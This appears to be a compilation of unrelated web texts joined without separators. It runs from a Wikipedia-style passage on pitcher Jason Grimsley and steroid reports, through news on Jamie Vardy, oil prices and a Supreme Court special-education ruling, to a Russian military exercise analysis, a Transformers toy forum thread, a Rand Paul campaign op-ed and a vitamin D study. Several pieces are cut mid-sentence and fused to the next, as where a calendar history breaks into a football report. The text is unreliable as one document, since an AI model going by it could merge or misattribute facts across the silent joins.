On September 30, 2006, the Los Angeles Times reported that Grimsley told federal agents investigating steroids in baseball that Houston Astros pitchers Roger Clemens and Andy Pettitte were users of performance-enhancing drugs and that Baltimore Orioles's Miguel Tejada, Jay Gibbons, and Brian Roberts were users of "anabolic steroids."[10]
On October 3, 2006, the Washington Post reported that San Francisco United States attorney Kevin Ryan said that the Los Angeles Times report contained "significant inaccuracies."[11] All five players named (Clemens, Pettitte, Tejada, Gibbons, and Roberts) denounced the story, with Clemens calling it "dangerous and malicious and reckless." Gibbons was later implicated in the steroid scandal by Sports Illustrated, who uncovered receipts issued by a Florida steroid mail order company in his name.[11]
On December 13, 2007, he was cited in the Mitchell Report, an investigation into the use of anabolic steroids and HGH in Major League Baseball.[12]
On December 20, 2007, the report was unsealed by a U.S. magistrate, who harshly criticized the L.A. Times for what he called "irresponsible reporting"...or "manufacturing of facts." Neither, Roberts, Clemens nor Pettitte's names were mentioned by Grimsley in any context whatsoever. The Times announced that it would publish a correction and apology for their misrepresentation of the facts.[13] Grimsley had told investigators that he got amphetamines, anabolic steroids and human growth hormone from someone recommended to him by former Yankees trainer Brian McNamee. The fact that McNamee was a personal strength coach for Clemens and Pettitte apparently prompted the Times to leap to the erroneous conclusion that Grimsley had implicated them in his statement.[13]
Personal life [ edit ]
On January 21, 2005, a small plane crashed into the back of Grimsley's house in Overland Park, Kansas. Grimsley was not home at the time, but his wife, daughter, and nanny were; they escaped unharmed. The pilot and four passengers were killed.[14]
See also [ edit ]A move from March to January
by Borgna Brunner
The celebration of the new year on January 1st is a relatively new phenomenon. The earliest recording of a new year celebration is believed to have been in Mesopotamia, c. 2000 B.C. and was celebrated around the time of the vernal equinox, in mid-March. A variety of other dates tied to the seasons were also used by various ancient cultures. The Egyptians, Phoenicians, and Persians began their new year with the fall equinox, and the Greeks celebrated it on the winter solstice.
Early Roman Calendar: March 1st Rings in the New Year
The early Roman calendar designated March 1 as the new year. The calendar had just ten months, beginning with March. That the new year once began with the month of March is still reflected in some of the names of the months. September through December, our ninth through twelfth months, were originally positioned as the seventh through tenth months (septem is Latin for "seven," octo is "eight," novem is "nine," and decem is "ten."
January Joins the Calendar
The first time the new year was celebrated on January 1st was in Rome in 153 B.C. (In fact, the month of January did not even exist until around 700 B.C., when the second king of Rome, Numa Pontilius, added the months of January and February.) The new year was moved from March to January because that was the beginning of the civil year, the month that the two newly elected Roman consuls—the highest officials in the Roman republic—began their one-year tenure. But this new year date was not always strictly and widely observed, and the new year was still sometimes celebrated on March 1.
Julian Calendar: January 1st Officially Instituted as the New Year
In 46 B.C. Julius Caesar introduced a new, |
bones in his wrist.
The Leicester City striker scored twice against Arsenal to take his season’s tally in the top-flight to six and is expected to earn another England call-up for the Euro 2016 qualifiers against Estonia and Lithuania.
But he will have to wear a tailor-made cast on his right wrist for the next two months to heal an injury sustained during Leicester’s comeback win against Aston Villa on September 13.
Leicester forward Jamie Vardy has been playing with two broken bones in his wrist
Vardy is the Premier League's top scorer with six goals in his side's opening seven games
PREMIER LEAGUE TOP SCORERS Jamie Vardy (Leicester) - 6 Riyad Mahrez (Leicester) - 5 Callum Wilson (Bournemouth) - 5
Vardy said: ‘I knew something was wrong because my whole arm was numb. But I didn’t want to come off so I just had it strapped up.
‘I had it x-rayed the next day and unfortunately there were two cracks in my wrist.
‘I’ve got a game cast, which has been made up, and refs are happy with. It’s lightweight and there’s no chance of harming anyone I’m having to wear it for eight weeks.
‘I feel a bit sorry for fans right now because I can’t grip anything with my hand, so I’m having to say “No” to autographs. Any photos that they are after then I’m happy to do it but signing anything right now is a no-go unfortunately.’
It is not the first time Vardy has played through pain. He continued to put himself forward during last season’s great escape from relegation despite an injury in his foot.
The 28-year-old scored twice during Leicester's 5-2 Premier League defeat against Arsenal
Vardy will have to wear a tailor-made cast on his right wrist for the next two months to heal the injury
‘At the back end of season I damaged my plantar fascia in my foot which affects my sprinting,’ he said. ‘I wasn’t able to put any ridiculous pressure on it so I was having injections basically an hour-and-a-half before kick off and my foot would be numb.
‘I don’t want to not be playing – it’s as simple as that. I love playing football and there’s no way I want to be injured.’
Vardy’s ascent to the No 1 spot in the Premier League scoring table comes just three years after he was playing non-league football for Fleetwood Town.Russia’s Armed Forces conducted a military exercise indicating Moscow’s intent and planning to use military force to thwart future “color revolutions.” Elite Airborne Forces and special forces from Russia, Belarus and Serbia participated in Slavyanskoye Bratstvo (Slavic Brotherhood) 2015, signaling that color revolutions—as a potential threat to the Russian state—have a direct influence on military training and operational planning. Accordingly, Russia’s top brass hailed the exercise as the “first of its kind,” and basked in the controversy surrounding Serbia’s involvement. However, Slavyanskoye Bratstvo 2015 reveals a significant doctrinal shift now impacting combat training, affording insight into the types of forces envisaged in such hypothetical operations as well as a possible search for additional “anti-color revolution” allies (TASS, September 4).
Serbian Foreign Minister Ivica Dacic stated that Belgrade would not tolerate criticism from the European Union over Serbia’s participation in the exercise. “Who can read us a lecture?” Dacic asked rhetorically, adding “the EU is not a military bloc. Let them go about their business.” The joint Belarusian, Russian and Serbian military exercise prompted little reaction from Washington or Brussels. Nonetheless, presumably aiming to pre-empt any critique of Belgrade’s decision to send forces to the exercise Dacic said, “We have the right to work with those with whom we want. It is our right! Serbia is a separate, independent state.” Moscow’s interest in widening the joint exercise to include a country from outside the Commonwealth of Independent States (CIS) could also suggest Russia is searching for possible political support over future actions related to this type of threat (Komsomolskaya Pravda, September 5).
Slavyanskoye Bratstvo 2015 was staged on September 2–5, at the Rayevskiy range, near Novorossiysk, in Southern Military District. The exercise itself was comparatively small, involving a total of 700 personnel, 20 aircraft and helicopters, and around 100 pieces of equipment; the bedrock of the force was drawn from the Russian 7th Air Assault Division, with a Serbian airborne company and Belarus sending two companies of special forces. Colonel Roman Breus, the commander of the 7th Air Assault Division, was placed in overall command of the exercise (Nezavisimoye Voyennoye Obozreniye, September 2).
Yet, its importance as part of the combat training year was explained by the chief of the General Staff, Army-General Valeriy Gerasimov, referring to “so-called color revolutions” as a form of armed struggle that must be met by military force. Gerasimov noted that interpreting such color revolutions as a form of warfare provides the basis for adjustments to the Russian Armed Forces—including changing the combat training system and necessitating working out the ways and means to combat these popular movements (Nezavisimoye Voyennoye Obozreniye, September 2).
Details of exercise scenario were elaborated by Colonel-General Vladimir Shamanov, the commander of the Airborne Forces (Vozdushno Desantnye Voyska—VDV). Shamanov said the scenario centered upon anti-government protests in a notional country, escalating into riots in the streets followed by armed groups attempting “provocations,” including mounting terrorist attacks to further destabilize the situation. The security forces in the notional state were overwhelmed by these events, and the government called for foreign assistance (Regnum, September 3; Nezavisimoye Voyennoye Obozreniye, September 2). On this basis, the joint force grouping was deployed to bring the situation under control. Beyond the predictable phrases Shamanov used to outline this response, including joint anti-terrorist actions, as well as localizing and eliminating illegal armed groups, he also said that in the early stages of the operation, the forces used non-lethal weapons. Consequently, the operation divided into three stages: following initial deployment and the use of non-lethal weapons, the follow-on phases witnessed special operations and other tactical elements (Nezavisimoye Voyennoye Obozreniye, September 4).
Reporting in the Russian military media noted the real danger of “color revolution”—highlighting events in Kyrgyzstan, Georgia and Ukraine—and how this was influencing Russian security thinking. Russia’s top brass and defense officials have referred to color revolutions as a security threat to the Russian state on numerous occasions; the political-military elite view popular uprisings quite differently from their international counterparts. For example, Eduard Rodyukov, a member of the Academy of Military Sciences, said that riots are acts of civil disobedience. He made a series of observations concerning events in Kyiv during the Maidan protests. In his view, the natural conclusion is that the military must be capable of protecting the regime. Another individual who regards color revolutions as a threat demanding a military response is Lieutenant-General (retired) Yuri Netkachev. Indeed, Netkachev has consistently argued that countering color revolutions must be calibrated into Russian military exercises, on the basis that a color revolution per se falls below the threshold of what governments would normally define as overt revolution, thus arguing that the Russian General Staff has to interpret such events as a form of warfare and prepare troops to respond (Nezavisimoye Voyennoye Obozreniye, July 10; Dokwar.ru, June 9, 2014).
Slavyanskoye Bratstvo 2015 is a unique Russian military exercise, as it provides evidence that the General Staff now folds anti–color revolution themes into its exercises. It is no surprise to see small-scale forces being used, or that these were drawn from the VDV with possible support from other elite units, including special forces. But the military press is silent on the actual techniques and methods at the disposal of the Russian military to adequately respond to a Euro-Maidan-style crisis. While Shamanov referred to the force grouping possessing non-lethal weapons, much of the exercise seemed scripted around regular combined-arms training. According to the VDV spokesperson, Major Irina Kruglov, the Serbian company helped to localize enemy forces, while Belarusian forces performed water crossings and the VDV battalion destroyed an enemy “training center.” The joint forces then engaged in maneuvers to block enemy forces. Firepower included artillery with bombing provided from air assets, including Su-24 and Su-25 aircraft and Mi-35 helicopters. “A pair of Su-25s performed three hits with unguided rockets, a pair of front-line Su-24 bombers carried out the bombing, and Mi-35s struck two blows [against] groups of illegal armed groups,” Kruglov noted (TASS, September 4).
Slavyanskoye Bratstvo 2015 will most likely prove to be the first of many exercises in which the scenario concentrates on EuroMaidan-style events, allowing the Russian General Staff to develop and refine the planning for intervention during such crises. The firepower used in the exercise also confirms that Moscow is prepared to use force in this type of crisis.Thailand opened its first clinic for transgender people in December.
The Tangerine Community Health Center is funded by the United States Agency for International Development (USAID) and other development groups. It offers psychosocial counseling, hormone administration and pap smears.
U.S. Ambassador Glyn T. Davis attended the clinic's opening in Bangkok.
“The Tangerine Center will provide friendly, needed services to the transgender community locally, while leading the region in identifying and sharing models to improve health care access and quality among transgender people. These efforts will be critical to achieving an end to AIDS, but will also contribute to a much broader agenda to promote the health and rights of transgender people.”
While Thailand is a top destination for sex reassignment surgery, post-operative care and support remain elusive.
“Right now people who are injecting these hormones outside of the clinic, many of them are using hormones that they purchased online or from the black market,” Dr. Nittaya Phanuphak told the AFP. “And that's not something we would like to encourage people to do.”Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus
Thursday, May 15th, 2014 11:32AM CDT
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Credit(s): Planet Iacon And here's Ultra Magnus! Once again from the Planet Iacon Facebook page we have better quality image of Takara Tomy's Transformers Masterpiece MP-22 Ultra Magnus. Unfortunately he's not in full color like Bumblebee, but still some good looks at the grey mold prototype from some different angles. Check him out below:
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Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574353)
Posted by
Gimme gimme, Ultra Maggie! Posted by KirbyForce1 on May 15th, 2014 @ 11:45am CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574357)
Posted by
Mystery solved then: the cab unfolds into the upper part of the torso and head. Posted by Va'al on May 15th, 2014 @ 11:51am CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574365)
Posted by
I really like him but he just looks really chubby to me Posted by sixshot20 on May 15th, 2014 @ 12:05pm CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574368)
Posted by
I love it except for the ass-flap! Posted by Seibertron on May 15th, 2014 @ 12:22pm CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574369)
Posted by
El Duque wrote:
In this image it appears he has the larger visor like eyes. It must have been just the shadow of the visor rim that made the eyes look so much smaller in previous pics. In this image it appears he has the larger visor like eyes. It must have been just the shadow of the visor rim that made the eyes look so much smaller in previous pics. Posted by Seibertron on May 15th, 2014 @ 12:26pm CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574398)
Posted by
sixshot20 wrote: I really like him but he just looks really chubby to me
He's not fat, he's husky.
Seibertron wrote: I love it except for the ass-flap!
Yea, what's up with that? He's not fat, he's husky.Yea, what's up with that? Posted by rpetras on May 15th, 2014 @ 2:04pm CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574399)
Posted by
I like it and will buy it. The only part that sticks out to me as odd are the lower legs, there are the legs and then a large gap and then a floating panel in front. Looks odd to me. Posted by Ravage XK on May 15th, 2014 @ 2:09pm CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574401)
Posted by
After seeing the kibble on the back of this, reconsidering the 3rd party one. Posted by SentinelA on May 15th, 2014 @ 2:18pm CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574402)
Posted by
The butt flap looks silly. Maybe it can be folded up or something. Otherwise, love it! Posted by kirbenvost on May 15th, 2014 @ 2:21pm CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574403)
Posted by
Hmm, the tires on his feet are fake... Wonder if that means there is to be changes. But then, I don't think the flap ass is going away, although I'm not that big of a hater of that thing, it's better than MP03's skirts or MP17's hollow legs IMHO. Posted by Crystiallic on May 15th, 2014 @ 2:23pm CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574418)
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rpetras wrote: Seibertron wrote: I love it except for the ass-flap!
Yea, what's up with that? Yea, what's up with that? kirbenvost wrote: The butt flap looks silly. Maybe it can be folded up or something. Otherwise, love it! Crystiallic wrote: But then, I don't think the flap ass is going away, although I'm not that big of a hater of that thing, it's better than MP03's skirts or MP17's hollow legs IMHO. Yeah, the butt flap is a bit bigger than it should be, but at least they got its shape right:
Yeah, the butt flap is a bit bigger than it should be, but at least they got its shape right: Posted by Sabrblade on May 15th, 2014 @ 3:48pm CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574419)
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Takara had a bet with Hasbro to see how many times they could get Transfans to say "butt flap" and they totally won. Posted by Diem on May 15th, 2014 @ 3:52pm CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574433)
Posted by
And it Mystery Comvoy Game:
Overall, I can't wait to get that MP22 in my hand! And before anyone is starting to question why there are translucent windows on MP22 Prototype chest, it started in TFTM:And it Mystery Comvoy Game:Overall, I can't wait to get that MP22 in my hand! Posted by REMINATOR on May 15th, 2014 @ 4:42pm CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574542)
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rpetras wrote: sixshot20 wrote: I really like him but he just looks really chubby to me
He's not fat, he's husky.
Seibertron wrote: I love it except for the ass-flap!
Yea, what's up with that? He's not fat, he's husky.Yea, what's up with that?
The @ss flap as noticed by Saberblade is kind of a homage(?) to his character model sheets/design by Floro Dery (?) The @ss flap as noticed by Saberblade is kind of a homage(?) to his character model sheets/design by Floro Dery (?) Posted by fenrir72 on May 16th, 2014 @ 1:01am CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574544)
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El Duque wrote:
Damn it.... This kind of changes everything for me. Damn it.... This kind of changes everything for me. Posted by DecepticonFinishline on May 16th, 2014 @ 1:21am CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574548)
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I like how the cab can be separated and played as a stand alone vehicle. Posted by fenrir72 on May 16th, 2014 @ 1:38am CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574549)
Posted by
ISP fart.......sorry for the double post I like how the cab can be separated and played as a stand alone vehicle.ISP fart.......sorry for the double post Posted by fenrir72 on May 16th, 2014 @ 1:40am CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574591)
Posted by
fenrir72 wrote: rpetras wrote: sixshot20 wrote: I really like him but he just looks really chubby to me
He's not fat, he's husky.
Seibertron wrote: I love it except for the ass-flap!
Yea, what's up with that? He's not fat, he's husky.Yea, what's up with that?
The @ss flap as noticed by Saberblade is kind of a homage(?) to his character model sheets/design by Floro Dery (?) The @ss flap as noticed by Saberblade is kind of a homage(?) to his character model sheets/design by Floro Dery (?)
I would have preferred no homage than how they designed it. It sucks the way it hangs down that much. Any 3rd Party up for the challenge of making the first Transformer butt transplant? Seriously, I hope the flap is detachable because that is how I would like to display him. I would have preferred no homage than how they designed it. It sucks the way it hangs down that much. Any 3rd Party up for the challenge of making the first Transformer butt transplant? Seriously, I hope the flap is detachable because that is how I would like to display him. Posted by Stormrider on May 16th, 2014 @ 8:44am CDT
Re: Clearer Images of Takara Tomy Transformers Masterpiece MP-22 Ultra Magnus (1574596)
Posted by
The flap is way too big for its own good. It's surprising how good the rest of the figure is until you get to that one piece. It's got to have been some budgetary setback or something if they couldn't find a way to make it fold in just one more time for a better size/positioning, cuz it's hard to believe that it being that large and hanging that much over his whole back section down to his knees was planned from the start. Posted by Sabrblade on May 16th, 2014 @ 8:52am CDTNEW YORK (Reuters) - Oil prices on Friday closed at their highest level in October on bullish news from strong Chinese oil imports, U.S. President Donald Trump’s decision not to certify that Iran is complying with a nuclear agreement and other tensions in the Middle East.
A oil pump is seen at sunset outside Scheibenhard, near Strasbourg, France, October 6, 2017. REUTERS/Christian Hartmann
Brent LCOc1 futures gained 92 cents, or 1.6 percent, to settle at $57.17 a barrel, while U.S. crude CLc1 rose 85 cents, or 1.7 percent, to settle at $51.45 per barrel.
That put both contracts at their highest settlements since Sept. 29. For the week, Brent was up almost 3 percent and U.S. was up over 4 percent.
Traders said the oil market pulled back from even higher gains - both contracts were up over 2 percent - earlier in the day out of relief that Trump did not immediately seek to impose sanction on Iran. Instead, he gave the U.S. Congress 60 days to decide whether to reimpose sanctions.
“The market is relieved that the U.S. is not going to pull out of the Iran nuclear deal today and they will instead kick the can down the road,” said Phil Flynn, senior energy analyst at Price Futures Group in Chicago.
Chinese oil imports hit 9 million barrels per day (bpd) in September, data showed. Imports averaged 8.5 million bpd between January and September, solidifying China’s position as the world’s biggest oil importer.
“We woke up with the strong data from China. That’s on the supportive side,” said Olivier Jakob, managing director of oil consultancy PetroMatrix.
China’s robust imports have been driven by purchases for its strategic petroleum reserves. The nation has spent around $24 billion building its crude reserves since 2015 and now holds around 850 million barrels of oil in inventory, according to the International Energy Agency (IEA).
For a graphic on China crude oil imports click reut.rs/2xC6jUb
Unrest in Iraq also underpinned prices.
Tensions between the two, which traders fear could impinge on oil exports from the region, have been building since Iraq’s Kurds overwhelmingly backed independence in a Sept. 25 vote.
Kurdish authorities have sent thousands more troops to the oil region of Kirkuk to confront “threats” from Iraq’s central government, the vice president of the autonomous Kurdistan region said.
Despite the bullish signals, analysts warned that the Organization of the Petroleum Exporting Countries needed to extend its agreement to reduce oil output beyond its current March 2018 expiry date in order to clear stocks.
OPEC, with other producers including Russia, has agreed to production cuts of 1.8 million bpd.
“OPEC-led cuts have breathed new life into oil bulls but unless the organization digs deeper, the drawdown in global oil stockpiles will soon fizzle out,” broker PVM’s Stephen Brennock wrote.
Separately, Saudi Aramco said it was considering shelving plans for an international public offering (IPO) in favor of a private share sale to world sovereign funds and institutional investors, the Financial Times reported, citing people familiar with the matter.
Many oil traders have said the reason OPEC has been compliant with the production cut agreement was because Saudi Arabia wanted the cuts to work to prop up oil prices ahead of the Aramco IPO.
“If the IPO is not going to happen, some traders may see that as Saudi Arabia’s excuse to start increasing production again,” Flynn at Price Futures said, noting he, however, thinks Saudi Arabia has a larger mission to get the market in balance.
“(Saudi Arabia) may need oil prices to go even higher if the IPO does not go through,” Flynn said.LOS ANGELES -- Los Angeles police say burglars got away with more than $300,000 worth of jewelry from the home of former Lakers guard and Knicks coach Derek Fisher.
Officer Drake Madison says he doesn't know if the suspects got away with any of Fisher's five NBA championship rings, although TMZ Sports is reporting Fisher's championship hardware was indeed stolen.
Editor's Picks Fisher: Did more with less talented Knicks team Former Knicks coach Derek Fisher thinks he got more out of a less talented New York team than Jeff Hornacek has from the current team.
The burglary happened Monday morning at the house in the Tarzana neighborhood.
The home was unoccupied at the time.
Fisher won five titles with the Lakers. He coached the Knicks from 2014 to '16.
Information from The Associated Press was used in this report.The Supreme Court Rules In Favor Of A Special Education Student
Enlarge this image toggle caption Andrew Harnik/AP Andrew Harnik/AP
School districts must give students with disabilities the chance to make meaningful, "appropriately ambitious" progress, the Supreme Court said Wednesday in an 8-0 ruling.
The decision in Endrew F. v. Douglas County School District could have far-reaching implications for the 6.5 million students with disabilities in the United States.
The case centered on a child with autism and attention deficit disorder whose parents removed him from public school in fifth grade. He went on to make better progress in a private school. His parents argued that the individualized education plan provided by the public school was inadequate, and they sued to compel the school district to pay his private school tuition.
The Supreme Court today sided with the family, overturning a lower court ruling in the school district's favor.
The federal Individuals With Disabilities Education Act guarantees a "free appropriate public education" to all students with disabilities. Today's opinion held that "appropriate" goes further than what the lower courts had held.
"It cannot be right that the IDEA generally contemplates grade-level advancement for children with disabilities who are fully integrated in the regular classroom, but is satisfied with barely more than de minimis progress for children who are not," read the opinion, signed by Chief Justice John Roberts.
The case drew a dozen friend of the court briefs from advocates for students with disabilities who argued that it is time to increase rigor, expectations and accommodations for all.
"A standard more meaningful than just above trivial is the norm today," wrote the National Association of State Directors of Special Education.
The ruling seems likely to increase pressure from families and advocates in that direction.
Significantly, Judge Neil Gorsuch, currently in confirmation hearings for the Supreme Court's vacant ninth seat, has repeatedly ruled the other way on similar cases.
IDEA's standard of a "free appropriate public education," reads Gorsuch's opinion in one of these cases, also about an autistic child in Colorado, "is not an onerous one." His precedent was directly contradicted by the Supreme Court this week.
Texas Sen. John Cornyn questioned him in light of this new ruling during his hearing, asking:
"Why... did you want to lower the bar so low? "
Gorsuch responded that he had made a mistake. "I was wrong, Senator, because I was bound by circuit precedent, and I'm sorry."IOWA CITY, IOWA - APRIL 10: U.S. Sen. Rand Paul (R-KY) and GOP presidential hopeful and GOP presidential hopeful continues his 'Stand by Rand' tour at the University of Iowa campus on April 10, 2015 in Iowa City, IA. Rand announced his candidacy for the President of the United States earlier in the week and is traveling across the nation on a 5 day tour to get his message out. (Photo by David Greedy/Getty Images)
We live in the greatest, freest, richest, most humanitarian country on earth -- and I'll be damned if I sit around and watch my generation screw up the future of our nation's young people.
When I visit college campuses, I am encouraged. The students I meet are among the most passionate defenders of liberty anywhere.
I'm running for president to protect economic and personal liberty so that your generation can make the most out of your lives in a way you see fit.
I believe the path forward for our country -- and the Republican Party -- is rooted in respecting the Constitution and acknowledging the dignity of the individual. If the Republicans want to be the party of tomorrow, it needs ideas that excite young people. Only a candidate who is a socially tolerant, fiscally responsible and principled leader can reinvigorate the Republican brand.
Starting today, we are launching "Students For Rand" and will be recruiting the "300 in 30" initiative. We have the goal of starting 300 chapters in just 30 days to show how strong the youth support is for my presidential campaign.
We must stand for something so powerful and so popular that it brings people together -- whether they lean left, right or find themselves squarely in the middle. My message of liberty, opportunity, and justice is for all has resonated everywhere, especially in the places Republicans are too scared to go, such as Detroit, the South Side of Chicago, Ferguson, or even UC Berkeley.
Government has no business in your business, period.
Today, the economic outlook is bleak for too many young people. Our nation's youth unemployment rate is approaching 14 percent and more millennials are forced to live with their parents, much more than the generations that preceded them. On top of that, young Americans are starting their working life with an average student loan debt of $30,000. Things need to change.
Government should help you succeed rather than get in your way. Most people agree that high taxes and excessive regulations affect your ability to land a job. It doesn't have to be this way. I have proposed a fair and flat tax rate of 14.5 percent for all Americans, rich and poor -- everyone is treated equally and no one can trade campaign donations to corrupt politicians in exchange for tax loopholes.
I don't want the government that regulates the Internet. I don't want a government that tells you where you can hail Uber. I don't want a government that bans you from renting out your apartment or opening a food truck. How can you change the world if we hinder young entrepreneurs by picking winners and losers?
What I want is a government that tracks terrorists rather than innocent Americans.
Young people inspire me because they firmly believe that we can have freedom and security. The government has no business peering through your records, combing through emails, or monitoring your social media. President Obama maintained that the Fourth Amendment doesn't protect any of your records -- but I fought him until he ended the government's illegal spying. We don't have to trade the Bill of Rights and the Constitution to stop threats against us.
I'm inspired because the youth of America believe in justice, and I'm leading the fight to reform our criminal justice system.
Of the 1.1 million prisoners who entered America's prisons since 1990, an increasingly large percent have been held on non-violent charges. Almost half of state prisoners are incarcerated for non-violent crime. Drug offenders make up over half of those behind bars in federal penitentiaries.
There is something wrong with a system that releases hardened, violent criminals to make room in prison for someone caught smoking marijuana. We need to reform our criminal justice system so that the punishment fits the crime while keeping violent offenders behind bars. That's why I have proposed bills to make many non-violent drug offenses misdemeanors that do not permanently damage a person's work potential.
I will not rest until all Americans, white and black, rich and poor, are treated equally under the law. My record demonstrates that I will work with anybody who honestly wants to fix things: Senator Cory Booker from New Jersey and I have teamed up on criminal justice reform. I have a bill with Senator Harry Reid that allows people to get their voting rights back. I've worked with Senator Kirsten Gillibrand of New York to get justice for soldiers who've been sexually assaulted. We've also worked together to remove federal prohibitions on medical marijuana.
Your generation expects and deserves solutions, not more government directed by out of touch politicians. It's time for a new set of ideas. We need new kind of leadership, one that listens to the people rather than controlling them.
Some in the GOP ignore the youth vote because they don't think it matters. My campaign wants to recruit you so that together we can make a difference. We will have 300 new student chapters in the next 30 days, and I hope your school will be among the first. It's time for the students of America to have a voice again and that's why I'm asking you to join my movement for opportunity, liberty, and justice for all Americans.Vitamin D deficiency may contribute to a higher number of heart and stroke-related deaths among black Americans compared to whites, according to a University of Rochester Medical Center study.
The journal Annals of Family Medicine is publishing the study in the January-February edition, which goes online Jan. 11, 2010.
Researchers sought to understand the well-documented disparity between blacks and whites in cardiovascular deaths. They turned to vitamin D because growing evidence links low serum levels of D to many serious illnesses including diabetes, hypertension, kidney and heart disease.
Lead author Kevin Fiscella, M.D., said a complex host of genetic and lifestyle factors among blacks may explain why this population group has lower vitamin D levels across the lifespan than other races.
People get vitamin D through their diets, sun exposure, and oral supplements. Genetic factors common to blacks sometimes preclude vitamin D absorption, such as a higher incidence of lactose intolerance, which can eliminate vitamin-D fortified milk from the diet, and darker skin pigment that significantly reduces vitamin D synthesis.
"Therefore, our study suggests that the next step would be to intervene to boost vitamin D levels safely, with supplements," said Fiscella, a national expert on disparities in health care and a professor of Family Medicine and Community and Preventive Medicine at URMC.
With funding through the National Heart Lung and Blood Institute, Fiscella and colleagues studied a sample of more than 15,000 American adults. The data included measurements of blood levels of vitamin D and death rates due to cardiovascular disease. Researchers also looked at other factors that contribute to heart health, such as body mass index, smoking status and levels of C-reactive protein.
Overall, the analysis showed that, as expected, a vitamin D deficiency was associated with higher rates of death among all people in the sample. In fact, those adults with the worst deficiency had a 40 percent higher risk of death from cardiac illness. This suggests that vitamin D may be a modifiable, independent risk factor for heart disease, Fiscella said.
Most striking, however, was that when researchers adjusted the statistics to look at race, blacks had a 38 percent higher risk of death than whites. As vitamin D levels rose, however, the risk of death was reduced. The same was true when researchers analyzed the effect of poverty on cardiovascular death rates among blacks, which suggests that vitamin D deficiency and poverty each exert separate risk factors, the study said.
A review article published in September 2009 in The American Journal of Medicine, noted that Vitamin D deficiency is a worldwide health problem. In the U.S., inadequate Vitamin D has been reported in about 36 percent of otherwise healthy young adults and about 57 percent of general medicine hospitalized patients.
Vitamin D is metabolized in the liver and converted to 25 hydroxyvitamin D or 25(OH) D, the form used to determine a person's status through a blood test. Deficiency is usually defined by levels of less than 20 nanograms per milliliter; 30 ng/ml is viewed as sufficient. The mean blood level in the study sample was 29.5 ng/ml.
Most of the body's tissues and cells have vitamin D receptors, making it a potent regulator of cell activity and growth. A deficiency contributes to inflammation associated with heart disease, many cancers and poor bone health.
Fiscella cautions, however, that not all observational studies of vitamin deficiency are borne out by subsequent clinical trials. For example, previous observational studies of vitamin E and beta-carotene that were associated with poor heart health did not hold up in later clinical studies. The need to further assess the vitamin D connection to heart disease is convincing, however, particularly among blacks, he added.
Other at-risk people include the obese and the elderly, (particularly housebound or nursing home residents), because vitamin D levels decline with age. And although more sun exposure can boost levels of D, skin cancer is also an increasing risk to many people. Therefore, medical authorities usually recommend increased dietary intake and/or supplementation as the best way to correct a deficiency.ABSTRACT DELAYED ONSET MUSCLE SORENESS (DOMS) IS A COMMON SIDE EFFECT OF PHYSICAL ACTIVITY, PARTICULARLY OF A VIGOROUS NATURE. MANY EXERCISERS WHO REGULARLY PERFORM RESISTANCE TRAINING CONSIDER DOMS TO BE ONE OF THE BEST INDICATORS OF TRAINING EFFECTIVENESS, WITH SOME RELYING UPON THIS SOURCE AS A PRIMARY GAUGE. THIS ARTICLE DISCUSSES THE RELEVANCE OF USING DOMS TO ASSESS WORKOUT QUALITY.
INTRODUCTION
Delayed onset muscle soreness (DOMS) is a common occurrence in response to unfamiliar or vigorous physical activity. It has been noted observationally that many individuals who regularly perform resistance training consider DOMS to be one of the best indicators of training effectiveness, with some relying upon this source as a primary gauge (37). In fact, there is a long-held belief that DOMS is a necessary precursor to muscle remodeling (13).
Current theory suggests that DOMS is related to muscle damage from unfamiliar or unaccustomed exercise (48). Although the exact mechanisms are not well understood, DOMS appears to be a product of inflammation caused by microspcopic tears in the connective tissue elements that sensitize nociceptors and thereby heighten the sensation of pain (28,42). Histamines, bradykinins, prostaglandins, and other noxious chemicals are believed to mediate discomfort by acting on type III and type IV nerve afferents that transduce pain signals from muscle |
, while in the US, they make up the clear majority of requests. The reasons, likewise, vary. In some countries, an event or a new law is a major factor; in others, it's an ongoing tug of war between users and governments. Many of the requests that Google singles out for discussion involve officials or politicians attempting to get criticism or negative content about them removed: in Brazil, for example, various to remove a total of several hundred allegedly defamatory blogs that accused mayors, judges and officials of corruption and other offenses. Google says that nearly all of these claims were rejected. There was also continuing fallout from "Innocence of Muslims," a virulently anti-Islam YouTube film that Google has blocked in some countries after protests and court orders.
Upticks in bad behavior by netizens or suppression by governments isn't the only explanation for higher numbers: if Google's user base in a country increases, there's going to be more content to review and potentially take down. This takedown report is also separate from Google's related copyright report, which charts how many requests it gets from private copyright holders, and from its user data transparency report, which charts requests for account information as part of police or national security investigations — if you're worried about the NSA, you probably want to be over here.A peace officer who died after being dropped off at a southeast Calgary police station today was a retired RCMP homicide detective who had posed undercover as a high-ranking mobster.
Rod Lazenby had been working as an MD of Foothills community peace officer for more than three years, said Bill Robinson, the district’s municipal treasurer.
“We’re kind of all in a state of shock right now,” Robinson said. “It really hasn’t sunk in yet but our sympathies are with his family.”
Mounties have a man in custody.
No charges have been laid in the case.
